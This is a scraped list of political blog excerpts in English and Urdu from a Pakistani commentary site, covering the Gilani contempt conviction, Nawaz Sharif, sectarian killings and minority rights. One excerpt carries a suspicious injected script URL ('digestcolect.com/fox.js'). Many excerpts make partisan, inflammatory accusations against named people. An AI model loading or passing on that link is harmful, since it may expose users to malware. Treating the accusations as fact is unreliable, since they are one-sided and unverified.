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Mian sahib aur NRO: پاکستان مسلم لیگ ٟنٞ کے قائد میاں نواز شریف نے ٹیکسلا میں جلسے سے خطاب کرتے ہوئے کہا ہے کہ ہم دنیا کی سپر پاور سے ٹکرا گئے تھے، اور ملک کو بچانے کے لیے ہر قربانی دیں گے۔

The martyrs of Gilgit-Baltistan – by Amina Khan: Amina Khan, from Massachusetts USA, writes about the brutal killings of innocent passengers in Kohistan. The sons of Gilgit Baltistan The unlucky buses With the sons of Gilgit Baltistan They were coming home Unknown to their fate Many with

After Jalib and Faiz, it’s time for Kahlil Gibran to turn in his grave: After having abused Faiz’ “Hum Dekhen Gay” and Jalib’s “Dastoor”, it’s time to make Kahlil Gibran turn in his grave. His epic poem, “Pity the Nation” has been referred to in the detailed judgment of the Supreme Court’s eight

Parliament reposes complete confidence in Prime Minister Syed Yusuf Raza Gilani: RESOLUTION ON CONFIDENCE IN PRIME MINISTER, SYED YUSUF RAZA GILANI This House reposes complete confidence in Prime Minister, Syed Yusuf Raza Gilani, as the constitutionally and democratically elected Prime Minister and unanimously elected Chief Executive of this country. This

Prime Minister Sahab, Please do not support those who term you a “Mujrim Wazir-e-Azam”: Pakistan’s largest media conglomerate, the Jang Group, which has publications like Daily Jang and Daily The News as well as GEO TV under its umbrella, has been running a façade of a campaign by the name of “Aman kee

Let’s mourn the Katas Raj temple – by Ayaz Amir: What the ages couldn’t accomplish… The hills of the Salt Range are amongst the oldest on earth, the valleys of the Salt Range amongst the most haunting on earth. In the Kahoon Valley, over which the fingers of the

Well done Latif Chaudhry – by Ahsan Abbas: Dear Mr Latif Chaudhry I am very pleased to read your column in daily Express in which you exposed the hypocrisy of notorious Taliban apologist Ansar Abbasi of the Jang Group (Jang/The News/Geo). The so called “Jihad” of Ansar

Stop Lyari operation: A critical PPP supporter’s perspective – by Syed Salman: Why do those who have had a taste of victimhood forget so quickly and could actually launch the same offensive against others? I seriously ask myself if the ongoing Lyari operation justified? Without any biasedness I strongly believe that

Contempt – To a Mango Man! – by Rubab Zaidi: After days of much speculation, the volcano of PM’s contempt case for not implementing the SC’s ruling in the NRO case, that was frantically and deafeningly been erupting for days, finally erupted and is being expected to damage, if

When drug mafia entered the Parliament: Nawaz Sharif’s narcotics connections—by Shiraz Paracha: In the 1990 elections Mian Muhammad Nawaz Sharif knowing or unknowingly awarded party tickets to people who were associated with drug mafia. As result some drug traffickers entered Pakistan’s national and provincial assemblies. Mr. Sharif not only introduced horse-trading

On Hussain Haqqani’s interview with Sana Bucha: حسین حقانی کے خدشات امریکہ میں پاکستان کے سابق سفیر حسین حقانی نے ایک نجی ٹی وی کے ٹاک شو میں گفتگو کرتے ہوئے کہا ہے کہ وہ طبعیت کی خرابی اور درپیش خطرات کے پیش نظر فی الحال

International Workers Day and Labour Conditions in Pakistan: Federation of organized trades and union declared May 1 1886 as the day from where eight-hour work day would be implemented. Workers and unions around USA actively supported the demand and demonstrated in all major industrial cities. On

Jinnah’s Coalition and the future of Pakistan – By Jaag Pakistani Jaag: As a Shia Muslim from Pakistan I am deeply concerned about Pakistani Shia and Sunni targeted by a lunatic fringe of Deobandi Takfiri terrorists. This violence has taken thousands of lives. It threatens to destroy the fabric of

PPP has lost my vote -by Daniyal Shabbir: We (our family) have always supported the PPP. In Karachi, you have only two choices, either the MQM or PPP. So we always go for PPP. But this time unfortunately, the PPP has lost my vote. I have decided

Pakistani Canadians on the Decision to convict Prime Minister Gillani for following the Constitution: Related Posts: We applaud Bilawal Bhutto Zardari’s bold message to pro-rapist Islamofascist judiciary For upholding the Constitution, Prime Minister Gillani gets convicted! – by Farhad Jarral We are pleased to published an interesting and informative debate that took place

Look at this Chief Justice Iftikhar! – by Faisal Raza Abidi: Pakistan Peoples Party’s Senator Faisal Raza Abdi reminds Chief Justice Iftikhar Chaudhry to pay attention to the ongoing Shia genocide taking place in Pakistan at the hands of Jihadi-sectarian terrorists of the Sipah-e-Sahaba Pakistan (also known as LeJ, ASWJ,

Mehran Bank Scandal: Rehman Malik provides evidence to media: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=mR_SFCxhhDs&sns=fb Interior Minister Rehman Malik proved that PML-N Chief Nawaz Sharif was involved in money laundering. He gave evidence against Nawaz Sharif would be placed before the Supreme Court and National Accountability Bureau (NAB) for alleged corruption of $32

Tareekh ka faisla: کسی بھی زینے پہ لرزے نہیں تمہارے قدم مقام جبرمیں صبر و رضا مبارک ہو تمہارے جرم ہے آئین سے وفاداری یہ جرم اگر ہے تو اس کی سزا مبارک ہو نزیر قیصر—-روزنامہ مشرق لاہور تین سو ننانوے قبل

Shia genocide: nameless crime, faceless victims – by Dr Mohammad Taqi: Editor’s note: LUBP editors have taken a lead since 2008 in clearly highlighting and condemning the Shia genocide taking place in Pakistan at the hands of Jihadi-sectarian militants, some of whom are also supported by Pakistan’s military establishment. In

Raza Rumi loves Hamid Mir loves Hafiz Saeed: A tale of Pakistan’s pseudo-liberals – by Ankur Desai: Source: Pakistan Blogzine Hamid Mir – the new champion of Pakistan’s “liberals”? – by Anwar Changezi Related post: Hamid Mir and Raza Rumi’s attack on an establishment planted virus Does Hamid Mir continue his great father’s legacy in journalism?

Secularism: A concept most misunderstood! – by Dur-e-Aden: It is almost a sin to mention the word secularism in Pakistan. Suddenly you are bombarded with labels of being pro-western, anti-Islam, ashamed of your values, threat to identity of the nation, as a result of which you are

For upholding the Constitution, Prime Minister Gillani gets convicted! – by Farhad Jarral: The Supreme Court of Pakistan has just convicted an elected Prime Minister for following an explicit Constitutional clause (Article 248 (2)) – on the basis of an Ordinance passed by a military dictator, General Musharaf (Contempt of Court Ordinance 2004) – who

FAQs: How to Remove a PM – by Bahadar Ali Khan: FAQ: How to remove the democratically elected Prime Ministers of Pakistan? ANS: If 58-2(b) exists and president is co-operative then dissolve the entire parliament which naturally will get rid of PM as well. Else get the justice done with PM

Anokha Insaaf -by Imam Bakhsh: انوکھا انصاف تحریر: امام بخش سابقہ ملازمت کے دوران میرے ایک سینئر محترم حسن صاحب ہوا کرتے تھے جو کہ انتہائی شریف النفس، محنتی اور ایمان دار آدمی تھے۔ وہ دفتر میں اپنا وقت بالکل ضائع نہیں کرتے تھے

Bannu prison break remains unexamined by Pakistani and international media: Source: WSF “Intelligence failure” is the most easily available excuse for the government in Pakistan following the daring Taliban and Sipah-e-Sahaba jailbreak in the northern city of Bannu early on April 15. However, more than intelligence failure, the jailbreak

Fundamentalism is killing religious diversity and cultural pluralism: کسی بھی ملک کی آزادیٴ ترقیٴ خوشحالی اور استحکام کا اندازہ اس امر سے لگایا جاسکتا ہے کہ اس میں بسنے والی اقلیتیں کتنی مطمئن اور خوشحال ہیں۔ علاوہ ازیں ان کو کس حد تک قومی دھارے اور معاشرے

ہر ایک بات پہ کہتے ہو تم: بہت سےمسائل (یا مصیبتیں) ایسے ہوتے ہیں کہ جب تک آپ کے سر پر نہ آ پڑیں سمجھ نہیں آتے. کچھ لوگ ہوتے ہیں جو کسی حال میں خوش نہیں رہتے اور کچھ ہوتے ہیں جو کسی کو کسی

Violation of minorities’ fundamental rights and freedoms: مذہبی اقلیتوں کے حقوق اور آزادیوں کی پامالی عالمی انسانی حقوق کے تقاضوں اور قوانین کا لب و لباب یہی ہے کہ تمام انسان آزاد پیدا ہوتے ہیں لہٰذا تمام انسان احترام اور حقوق میں مساوی حیثیت کے حامل

Mian Mithu is innocent and is in dire need of further State cover: So it has happened. The court has delivered justice. The Honorable Chief Justice, Mr. Iftikhar Chaowder has done what was needful of any man of good faith and noble intentions for public appraisal. Being the keeper of the faith,

Sunni Tehreek harasses a peaceful rally against forced conversions: About a dozen people have been mildly injured and three have been booked under blasphemy laws for staging a rally against forced conversions of Hindu girls in Hyderabad, Sindh today. According to local sources, this peaceful rally was organized

Killings and misconduct by U.S. soldiers: An American citizen’s introspection – by Rusty Walker: The common theme for a decade has been, “Why do they hate us?” Aside from one invasion (Iraq) and another UN-sanctioned but badly botched NATO sanctioned operation (Afghanistan), U.S. alignment with the oppressive Saudi regime, erroneous funding of enemies through mismanaged USAID,

Our parliament: ہماری پارلیمنٹ ہمارے معاشرے میں ریاست اور سیاست سے بیگانگی اور لا تعلقی کا کلچر بڑی تیزی سے پھیلا ہے۔ جس کا سب سے بڑا مظہر شہری ذمہ داریوں سے گریز کا رحجان ہے ہم اپنے اداروں اور حکمرانوں

Stop supporting terrorists – by Daniyal Shabbir: I was sitting on the Internet on 5th April when suddenly I got a message that one of our university colleagues has been shot and wounded. Then I called my friends to confirm the news, they told me that

Vague HRCP statement fails to address ongoing Shia Genocide – by Anwar Changezi: While the Human Rights Commission of Pakistan (HRCP) is held in high esteem by those who stand for human rights and condemn its violations, both within and outside Pakistan, it is very unfortunate that a towering organization with considerable

Three cups of tea: A story of betryal and butchery – by Maisam Ali: “Haji Ali spoke. ‘If you want to thrive in Baltistan, you must respect our ways. The first time you share tea with a Balti, you are a stranger. The second time you take tea, you are an honored guest.

My Vanishing Karachi -by Chander Parkash: Karachi, the first Capital of Pakistan and its financial hub, is a leading Industrial centre and great Seaport. Karachi accounts for a lion’s share in the GDP and generates 65% of Pakistan’s total revenue. According to legend, Karachi was

Bilawal Bhutto Zardari: Evolving Strength of Character – by Rusty Walker: If Pakistan needs a strong civil government, it will need a strong leader. If it looks for a heroic voice, someone who is courageous enough to take on a Justice system that has proven itself to be pro-Jihadi and

Rest in Peace, Cecil Chaudhry: LUBP offers sincerest condolences to all Pakistanis on the sad demise of decorated war hero, educationist and rights activist Group Captain (Retired) Cecil Chaudhry. He passed away a few hours ago in Lahore at the age of 70 after